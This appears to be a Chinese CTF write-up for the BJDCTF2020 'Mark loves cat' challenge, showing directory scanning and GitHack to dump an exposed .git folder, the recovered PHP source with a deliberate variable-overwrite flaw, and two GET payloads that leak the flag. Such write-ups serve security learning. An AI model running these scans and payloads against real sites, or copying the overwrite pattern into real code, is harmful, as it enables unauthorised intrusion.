[BJDCTF2020]Mark loves cat

先用dirsearch扫一下,访问一下没有什么

需要设置线程

复制代码
dirsearch -u http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn:81/ --timeout=2 -t 1 -x 400,403,404,500,503,429

使用githack

复制代码
python2 GitHack.py http://8996e81f-a75c-4180-b0ad-226d97ba61b2.node4.buuoj.cn/.git

https://www.cnblogs.com/keta/p/6117237.html foreach的语法

foreach用于遍历操作或输出数组

复制代码
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}    //传入的post值会经过这,例:传入flag=flag,得到$x=flag,$y=flag,则$flag=flag;将会得不到flag的值

foreach($_GET as $x => $y){
    $$x = $$y;
} //#传入的get值会经过这。例:传入is=flag,得到$is=$flag

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){
        exit($handsome);
    }   //#get传入flag变量且值不为flag,输出handsome,退出
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}  //#get和post传参不能有flag
 
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);   //#用post或get传的参数必须是flag且值为flag
}

echo "the flag is: ".$flag;

因为很少做变量覆盖,都是参考别人的

第一种方法:

复制代码
#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){
    $$x = $$y;
}
#用post或get传的参数必须是flag且值为flag
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

首先传入is=flag,得到x=is,y=flag. 带进去变成is=flag;

if要求用post或get传入flag=flag,就会打印is。而且经过foreach函数时得到flag=$flag。没有改变内容。

即最终payload:/?is=flag&flag=flag

第二种方法:

复制代码
#传入的get值会经过这。例:传入is=flag,得到$is=$flag.
foreach($_GET as $x => $y){
    $$x = $$y;
}
#get和post传参不能有flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

最终输出$yds,和第一种一样,先构造yds=flag,

if要求get和post不能有flag函数。直接忽略

即payload:/?yds=flag

相关推荐
四谎真好看9 分钟前
Java 黑马程序员学习笔记(进阶篇6)
java·笔记·学习·学习笔记
Alice-YUE38 分钟前
【css学习笔记8】html5css3新特性
css·笔记·学习
有谁看见我的剑了?1 小时前
k8s-Sidecar容器学习
学习·容器·kubernetes
沐墨专攻技术2 小时前
二、网页的“化妆师”:从零学习 CSS
css·笔记·学习
g_i_a_o_giao2 小时前
Android8 binder源码学习分析笔记(四)——ServiceManager启动
笔记·学习·binder
GilgameshJSS2 小时前
【学习K230-例程23】GT6700-音频FFT柱状图
python·学习·音视频
今天我要乾重生3 小时前
泛型的学习
学习
前端码虫3 小时前
2.9Vue创建项目(组件)的补充
javascript·vue.js·学习
PigeonGuan3 小时前
强化学习中重要性采样
学习
~kiss~3 小时前
MLLM学习~M3-Agent Prompt学习
学习